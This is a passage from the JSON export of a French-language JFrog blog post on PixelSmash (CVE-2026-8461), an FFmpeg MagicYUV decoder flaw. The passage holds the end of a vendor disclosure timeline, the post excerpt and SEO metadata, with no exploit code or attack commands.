amont<\/td>\n<\/tr>\n<tr>\n<td>26\u00a0mai\u00a02026<\/td>\n<td>Signal\u00e9 aux \u00e9quipes de s\u00e9curit\u00e9 de\u00a0: mpv, obsproject, photoprism, immich, et le rapport a \u00e9t\u00e9 transmis au programme de primes aux bogues de Nextcloud<\/td>\n<\/tr>\n<tr>\n<td>27\u00a0mai\u00a02026<\/td>\n<td>L\u2019\u00e9quipe de s\u00e9curit\u00e9 de Photoprism a ouvert un ticket sur son GitHub pour exclure une liste de formats et de codecs ffmpeg.<\/p>\n<p>L\u2019\u00e9quipe Nextcloud sur HackerOne a r\u00e9pondu qu\u2019elle consid\u00e8re cela comme un non-probl\u00e8me, \u00e9tant donn\u00e9 que la vuln\u00e9rabilit\u00e9 existe en dehors de Nextcloud.<\/td>\n<\/tr>\n<tr>\n<td>31\u00a0mai\u00a02026<\/td>\n<td>Signal\u00e9 \u00e0 l&#8217;\u00e9quipe de s\u00e9curit\u00e9 de vLLM<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">7\u00a0juin\u00a02026<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Signal\u00e9 \u00e0 l&#8217;\u00e9quipe Kodi<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">17\u00a0juin\u00a02026<\/span><\/td>\n<td><span style=\"font-weight: 400;\">FFmpeg a publi\u00e9 une version corrig\u00e9e (8.1.2) contenant un correctif pour la CVE-2026-8461.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">18\u00a0juin\u00a02026<\/span><\/td>\n<td><span style=\"font-weight: 400;\">CVE publi\u00e9e.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">22\u00a0juin\u00a02026<\/span><\/td>\n<td><span style=\"font-weight: 400;\">L\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog publie cet article.<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2><\/h2>\n<h2>Rester en s\u00e9curit\u00e9<\/h2>\n<p>Face \u00e0 une surface d\u2019attaque en constante expansion et \u00e0 de nouvelles menaces d\u00e9couvertes chaque jour, il est particuli\u00e8rement utile de rester inform\u00e9s des derni\u00e8res vuln\u00e9rabilit\u00e9s en ajoutant le <a href=\"https:\/\/research.jfrog.com\">JFrog Security\u00a0Research\u00a0Center<\/a> \u00e0 vos favoris et en consultant nos derni\u00e8res d\u00e9couvertes.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>L\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a r\u00e9cemment d\u00e9couvert et divulgu\u00e9 une vuln\u00e9rabilit\u00e9 critique dans FFmpeg, le framework de traitement multim\u00e9dia le plus largement d\u00e9ploy\u00e9 au monde. La vuln\u00e9rabilit\u00e9 d\u00e9couverte, que nous avons baptis\u00e9e PixelSmash, porte l&#8217;identifiant CVE-2026-8461\u00a0. Il s&#8217;agit d&#8217;une \u00e9criture hors limites dans le tas au niveau du d\u00e9codeur MagicYUV (CVSS 8.8 &hellip;<\/p>\n","protected":false},"author":590,"featured_media":168602,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[10529,10153],"tags":[11359,11362,11363,11364,11286,9999],"class_list":["post-172254","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-communaute","category-securite-et-devsecops","tag-securite-des-applications","tag-cve","tag-securite-open-source","tag-execution-de-code-a-distance","tag-vulnerabilites","tag-securite-recherche"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v22.6 (Yoast SEO v22.6) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>PixelSmash (CVE-2026-8461)\u00a0: faille critique dans FFmpeg | JFrog<\/title>\n<meta name=\"description\" content=\"PixelSmash (CVE-2026-8461) est une faille FFmpeg CVSS 8.8 d\u00e9couverte par l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog. Un fichier multim\u00e9dia sp\u00e9cialement con\u00e7u de 50\u00a0Ko permet une RCE ou un DoS. Mettez \u00e0 niveau FFmpeg vers 8.1.2.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/172254\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"PixelSmash\u00a0: une vuln\u00e9rabilit\u00e9 critique dans FFmpeg transforme les fichiers multim\u00e9dias en armes\" \/>\n<meta property=\"og:description\" content=\"PixelSmash (CVE-2026-8461) est une faille FFmpeg CVSS 8.8 d\u00e9couverte par l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog. Un fichier multim\u00e9dia sp\u00e9cialement con\u00e7u de 50\u00a0Ko permet une RCE ou un DoS. Mettez \u00e0 niveau FFmpeg vers 8.1.2.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\" \/>\n<meta property=\"og:site_name\" content=\"JFrog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/artifrog\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-20T08:41:31+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-07T07:54:56+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/22153509\/Social_Blog_1200X628-1024x536.png\" \/>\n<meta name=\"author\" content=\"drewt\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@jfrog\" \/>\n<meta name=\"twitter:site\" content=\"@jfrog\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"drewt\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"23 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\"},\"author\":{\"name\":\"drewt\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28\"},\"headline\":\"PixelSmash\u00a0: une vuln\u00e9rabilit\u00e9 critique dans FFmpeg transforme les fichiers multim\u00e9dias en armes\",\"datePublished\":\"2026-08-20T08:41:31+00:00\",\"dateModified\":\"2026-09-07T07:54:56+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\"},\"wordCount\":5854,\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png\",\"keywords\":[\"s\u00e9curit\u00e9 des applications\",\"CVE\",\"s\u00e9curit\u00e9 open source\",\"ex\u00e9cution de code \u00e0 distance\",\"vuln\u00e9rabilit\u00e9s\",\"securite-recherche\"],\"articleSection\":[\"Communaut\u00e9\",\"S\u00e9curit\u00e9 et DevSecOps\"],\"inLanguage\":\"fr-FR\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\",\"url\":\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\",\"name\":\"PixelSmash (CVE-2026-8461)\u00a0: faille critique dans FFmpeg | JFrog\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png\",\"datePublished\":\"2026-08-20T08:41:31+00:00\",\"dateModified\":\"2026-09-07T07:54:56+00:00\",\"description\":\"PixelSmash (CVE-2026-8461) est une faille FFmpeg CVSS 8.8 d\u00e9couverte par l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog. Un fichier multim\u00e9dia sp\u00e9cialement con\u00e7u de 50\u00a0Ko permet une RCE ou un DoS. Mettez \u00e0 niveau FFmpeg vers 8.1.2.\",\"breadcrumb\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png\",\"width\":530,\"height\":300,\"caption\":\"Pixelsmash - 530x300\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/jfrog.com\/fr\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"PixelSmash\u00a0: une vuln\u00e9rabilit\u00e9 critique dans FFmpeg transforme les fichiers multim\u00e9dias en armes\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/jfrog.com\/fr\/#website\",\"url\":\"https:\/\/jfrog.com\/fr\/\",\"name\":\"JFrog\",\"description\":\"Deliver Trusted Software Releases at Speed and Scale\",\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/jfrog.com\/fr\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\",\"name\":\"JFrog\",\"url\":\"https:\/\/jfrog.com\/fr\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"width\":74,\"height\":73,\"caption\":\"JFrog\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/artifrog\",\"https:\/\/x.com\/jfrog\",\"https:\/\/www.linkedin.com\/company\/455737\",\"https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg\",\"https:\/\/www.wikidata.org\/wiki\/Q98608948\"],\"description\":\"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.\",\"legalName\":\"Jfrog, Inc.\",\"numberOfEmployees\":{\"@type\":\"QuantitativeValue\",\"minValue\":\"1001\",\"maxValue\":\"5000\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28\",\"name\":\"drewt\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g\",\"caption\":\"drewt\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"PixelSmash (CVE-2026-8461)\u00a0: faille critique dans FFmpeg | JFrog","description":"PixelSmash (CVE-2026-8461) est une faille FFmpeg CVSS 8.8 d\u00e9couverte par l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog. Un fichier multim\u00e9dia sp\u00e9cialement con\u00e7u de 50\u00a0Ko permet une RCE ou un DoS. Mettez \u00e0 niveau FFmpeg vers 8.1.2.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/172254","og_locale":"fr_FR","og_type":"article","og_title":"PixelSmash\u00a0: une vuln\u00e9rabilit\u00e9 critique dans FFmpeg transforme les fichiers multim\u00e9dias en armes","og_description":"PixelSmash (CVE-2026-8461) est une faille FFmpeg CVSS 8.8 d\u00e9couverte par l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog. Un fichier multim\u00e9dia sp\u00e9cialement con\u00e7u de 50\u00a0Ko permet une RCE ou un DoS. Mettez \u00e0 niveau FFmpeg vers 8.1.2.","og_url":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/","og_site_name":"JFrog","article_publisher":"https:\/\/www.facebook.com\/artifrog","article_published_time":"2026-08-20T08:41:31+00:00","article_modified_time":"2026-09-07T07:54:56+00:00","og_image":[{"url":"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/22153509\/Social_Blog_1200X628-1024x536.png"}],"author":"drewt","twitter_card":"summary_large_image","twitter_creator":"@jfrog","twitter_site":"@jfrog","twitter_misc":{"Written by":"drewt","Est. reading time":"23 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#article","isPartOf":{"@id":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/"},"author":{"name":"drewt","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28"},"headline":"PixelSmash\u00a0: une vuln\u00e9rabilit\u00e9 critique dans FFmpeg transforme les fichiers multim\u00e9dias en armes","datePublished":"2026-08-20T08:41:31+00:00","dateModified":"2026-09-07T07:54:56+00:00","mainEntityOfPage":{"@id":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/"},"wordCount":5854,"publisher":{"@id":"https:\/\/jfrog.com\/fr\/#organization"},"image":{"@id":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage"},"thumbnailUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png","keywords":["s\u00e9curit\u00e9 des applications","CVE","s\u00e9curit\u00e9 open source","ex\u00e9cution de code \u00e0 distance","vuln\u00e9rabilit\u00e9s","securite-recherche"],"articleSection":["Communaut\u00e9","S\u00e9curit\u00e9 et DevSecOps"],"inLanguage":"fr-FR"},{"@type":"WebPage","@id":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/","url":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/","name":"PixelSmash (CVE-2026-8461)\u00a0: faille critique dans FFmpeg | JFrog","isPartOf":{"@id":"https:\/\/jfrog.com\/fr\/#website"},"primaryImageOfPage":{"@id":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage"},"image":{"@id":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage"},"thumbnailUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png","datePublished":"2026-08-20T08:41:31+00:00","dateModified":"2026-09-07T07:54:56+00:00","description":"PixelSmash (CVE-2026-8461) est une faille FFmpeg CVSS 8.8 d\u00e9couverte par l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog. Un fichier multim\u00e9dia sp\u00e9cialement con\u00e7u de 50\u00a0Ko permet une RCE ou un DoS. Mettez \u00e0 niveau FFmpeg vers 8.1.2.","breadcrumb":{"@id":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png","width":530,"height":300,"caption":"Pixelsmash - 530x300"},{"@type":"BreadcrumbList","@id":"https:\/\/jfrog.com\/fr\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jfrog.com\/fr\/"},{"@type":"ListItem","position":2,"name":"PixelSmash\u00a0: une vuln\u00e9rabilit\u00e9 critique dans FFmpeg transforme les fichiers multim\u00e9dias en armes"}]},{"@type":"WebSite","@id":"https:\/\/jfrog.com\/fr\/#website","url":"https:\/\/jfrog.com\/fr\/","name":"JFrog","description":"Deliver Trusted Software Releases at Speed and Scale","publisher":{"@id":"https:\/\/jfrog.com\/fr\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jfrog.com\/fr\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-FR"},{"@type":"Organization","@id":"https:\/\/jfrog.com\/fr\/#organization","name":"JFrog","url":"https:\/\/jfrog.com\/fr\/","logo":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","width":74,"height":73,"caption":"JFrog"},"image":{"@id":"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/artifrog","https:\/\/x.com\/jfrog","https:\/\/www.linkedin.com\/company\/455737","https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg","https:\/\/www.wikidata.org\/wiki\/Q98608948"],"description":"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.","legalName":"Jfrog, Inc.","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"1001","maxValue":"5000"}},{"@type":"Person","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28","name":"drewt","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g","caption":"drewt"}}]}},"_links":{"self":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/172254","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/users\/590"}],"replies":[{"embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/comments?post=172254"}],"version-history":[{"count":1,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/172254\/revisions"}],"predecessor-version":[{"id":172496,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/172254\/revisions\/172496"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/media\/168602"}],"wp:attachment":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/media?parent=172254"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/categories?post=172254"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/tags?post=172254"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}